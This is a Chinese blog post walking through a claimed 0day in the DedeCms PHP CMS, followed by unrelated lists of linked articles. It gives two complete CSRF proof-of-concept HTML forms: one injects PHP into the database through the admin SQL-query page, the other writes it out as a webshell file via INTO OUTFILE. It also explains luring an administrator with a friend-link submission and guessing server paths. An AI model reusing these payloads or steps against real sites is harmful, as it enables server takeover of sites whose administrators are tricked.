我是如何通过CSRF拿到Shell的
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近我在搭建这个系统的时候偶然间发现了一个有趣的现象,织梦的后台竟然有一个可以直接执行SQL语句的功能,出于职业敏感,能直接执行SQL语句的地方往往会有一些漏洞。又经过一番查找发现了它后台存在一个CSRF的漏洞,一般情况下像这种漏洞都是不怎么能引起人们的关注的,毕竟是要通过交互才能起作用,而且起的作用还不大。以为到此就结束了吗?并不是。
这里根本形不成一个有效的攻击链,不过我又发现了一个很有意思的地方,这个cms是可以在前台直接提交友链申请的,那么问题来了?你提交了友链申请管理员审核的时候怎么可能不去浏览一下你的网站。于是有了下面的一套getshell的流程。
受影响的版本<=官方最新版本(V57UTF8SP2)这是一个0day哦!!
实验环境 :win10,wamp
1.首先我们构造一个向数据库中插入SHELL语句的恶意页面
(这里我多次清除cookie,多次关闭浏览器进行测试发现,该页面的效果不受其他因素影响均可正常执行),这段代码的作用就是像数据库中插入我们的shell code。
页面的代码如下:
<html> <!-- CSRF PoC - generated by Burp Suite Professional -->
<body> <form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">
<input type="hidden" name="dopost" value="query" />
<input type="hidden" name="querytype" value="2" />
<input type="hidden" name="sqlquery" value="INSERT INTO dede_flink(id,sortrank,url,webname,msg,email,logo,dtime,typeid,ischeck)VALUES('1','1','www.baidu.com','1','<?php phpinfo();?>','1','1','1','1','1');" />
<input type="hidden" name="imageField.x" value="42" />
<input type="hidden" name="imageField.y" value="17" />
<input type="submit" value="Submit request" />
</form> </body>
</html>
2.此时我将该页面放置在我自己的服务器上
这里就可以随便放置一个地方,为了更加形象,你可以在页面上做一些操作,比如加上JS代码使得管理员访问页面的时候不会跳转,这样更神不知鬼不觉了。

3.然后我去受害网站上提交一个友链申请
将我自己网站上的恶意页面链接填入。这个链接直接对应你构造好的恶意页面。

4.然后提交,等待管理员审核
管理员审核友链时定会查看友链所链接的内容。(管理员既然可以看到该链接证明此时一定处于登陆状态)
5.只要是管理员查看了我们申请友链的链接那么就触发了恶意代码的执行
此时我们可以看到数据库中被插入了恶意代码。这里的代码可以自定义,根据你想做的操作自定义就可以了。这里我就是做实验,就是用了<?php phpinfo() ?>

6.此时无论管理员通过或者是不通过,我们的代码已经插入
此时我们构造生成shell的恶意页面,页面代码如下,构造完成之后同样放在我们自己的服务器上。(这里构造时,我们需要知道网站的路径,这里知道相对路径或者时绝对路径都是可以的。路径的获取方式:一个网站的搭建大多数采用 phpstudy wamp 或者原生态的在PHP下的www目录,这里很好猜测。或者直接请求一个网站上不存在的资源一般会爆出相对路径,或者去访问一篇文章分析路径,再或者用AWVS直接拿到路径,反正这里获取路径的方式特别多)
下面这段代码的作用是把我们刚刚插入的shell code生成一个php页面。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body> <
form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">
<input type="hidden" name="dopost" value="query" />
<input type="hidden" name="querytype" value="2" />
<input type="hidden" name="sqlquery" value="SELECT msg FROM dede_flink WHERE url="www.baidu.com" INTO OUTFILE "../../../../www/dedecms/21111.php"" />
<input type="hidden" name="imageField.x" value="38" />
<input type="hidden" name="imageField.y" value="15" />
<input type="submit" value="Submit request" />
</form>
</body></html>

7.此时我们如上步骤3所示,提交一个该页面的友链申请
当管理员查看该页面时触发代码的执行,在服务器端生成一个我们自定义名称的shell。然后我们去访问我们的SHELL。可以看到执行成功。


这就是在一次测试环境中找到的一个逻辑漏洞,有时候我们会经常发现一些微不足道的小漏洞之类的,单个的看起来是没有什么作用但是多个微不足道的小漏洞结合起来往往会收到超出预期的效果。
我是如何通过CSRF拿到Shell的的更多相关文章
- (二)Linux Shell编程——运算符、注释
2.7 Shell运算符 Bash 支持很多运算符,包括算数运算符.关系运算符.布尔运算符.字符串运算符和文件测试运算符.原生bash不支持简单的数学运算,但是可以通过其他命令来实现,例如 awk 和 ...
- Shell脚本传递带有空格的参数
在另一博文<Shell脚本实现DB2数据库表导出到文件>中实现了通过脚本实现将DB2数据库导出到文件,需要传入七个参数,最后一个是一个带有空格字符串,所以传入的时候有点问题,会自动识别空格 ...
- 用 shell 脚本做日志清洗
问题的提出 公司有一个用户行为分析系统,可以记录用户在使用公司产品过程中的一系列操作轨迹,便于分析产品使用情况以便优化产品 UI 界面布局.这套系统有点类似于 Google Analyse(GA),所 ...
- 网站统计中的数据收集原理及实现(share)
转载自:http://blog.codinglabs.org/articles/how-web-analytics-data-collection-system-work.html 网站数据统计分析工 ...
- 使用nginx lua实现网站统计中的数据收集
导读网站数据统计分析工具是各网站站长和运营人员经常使用的一种工具,常用的有 谷歌分析.百度统计和腾讯分析等等.所有这些统计分析工具的第一步都是网站访问数据的收集.目前主流的数据收集方式基本都是基于ja ...
- 2.html5的基本格式
分享完html语言的核心之后,是时候开始写了.理论上,只要符合格式要求,就算是用记事本也可以写.但是,这种蛋疼且生产力低下的行为还是少做的好,选一个适合自己的IDE才是上上之选,至于哪个合适自己,那就 ...
- laravel学习前期遇到的小知识点(1)
1. 目前我用的laravel 5.2.36版本web中间件成为全局中间件(不知道从5.2.26以上就改变了还是怎样,没有深究),也就是之前的版本路由里默认会有一个Route::group的web中间 ...
- 利用linux curl爬取网站数据
看到一个看球网站的以下截图红色框数据,想爬取下来,通常爬取网站数据一般都会从java或者python爬取,但本人这两个都不会,只会shell脚本,于是硬着头皮试一下用shell爬取,方法很笨重,但旨在 ...
- 【HTB系列】靶机Querier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...
随机推荐
- Python之多线程与多进程(一)
多线程 多线程是程序在同样的上下文中同时运行多条线程的能力.这些线程共享同一个进程的资源,可以在并发模式(单核处理器)或并行模式(多核处理器)下执行多个任务 多线程有以下几个优点: 持续响应:在单线程 ...
- 《Python全栈开发指南》第3版 Alex著(LFXC2018)
第一章 Python基础——Python介绍&循环语句 1.1 编程语言介绍 1.2 Python介绍 1.3 Python安装 1.4 第一个Python程序 1.5 变量 1.6 程序交互 ...
- ccna学习指南第七版
1.加电post自检 闪存查找ios 可随时从命令行进入设置模式,为此可在特权模式下输入setup ctrl+c退出特权模式 6.2cli 命令行界面 进入cli router> ...
- [Uiautomator篇][2] UiDeviceAPI介绍
1 https://developer.android.com/training/testing/ui-testing/uiautomator-testing.html http://www.cnb ...
- AWK 用法
awk 用法:awk ' pattern {action} ' 变量名 含义 ARGC 命令行变元个数 ARGV 命令行变元数组 FILENAME 当前输入文件名 FNR 当前文件中的记录号 FS ...
- [转]Visual Studio调试之符号文件
http://www.cnblogs.com/killmyday/archive/2009/10/14/1582882.html 前面在不能设置断点的检查步骤和Visual Studio调试之断点进阶 ...
- Welcome-to-Swift-12附属脚本(Subscripts)
附属脚本 可以定义在类(Class).结构体(structure)和枚举(enumeration)这些目标中,可以认为是访问对象.集合或序列的快捷方式,不需要再调用实例的特定的赋值和访问方法.举例来说 ...
- Golang指针
学过C语言的老司机都知道,指针就是一个变量,用于存储另一个变量的内存地址. 那么什么是变量呢?在现代计算机体系结构中所有的需要执行的信息代码都需要存储在内存中,为了管理存储在内存的数据,内存是划分为不 ...
- scrapy的调试方法
Parse命令,Scrapy shell,logging 一 Parse命令 检查spider输出的最基本方法是使用Parse命令.这能让你在函数层上检查spider哥哥部分的效果,其十分灵活并且已用 ...
- hdu 3625 Examining the Rooms 轮换斯特林数
题目大意 n个房间对应n把钥匙 每个房间的钥匙随机放在某个房间内,概率相同. 有K次炸门的机会,求能进入所有房间的概率 一号门不给你炸 分析 我们设\(key_i\)为第i间房里的钥匙是哪把 视作房间 ...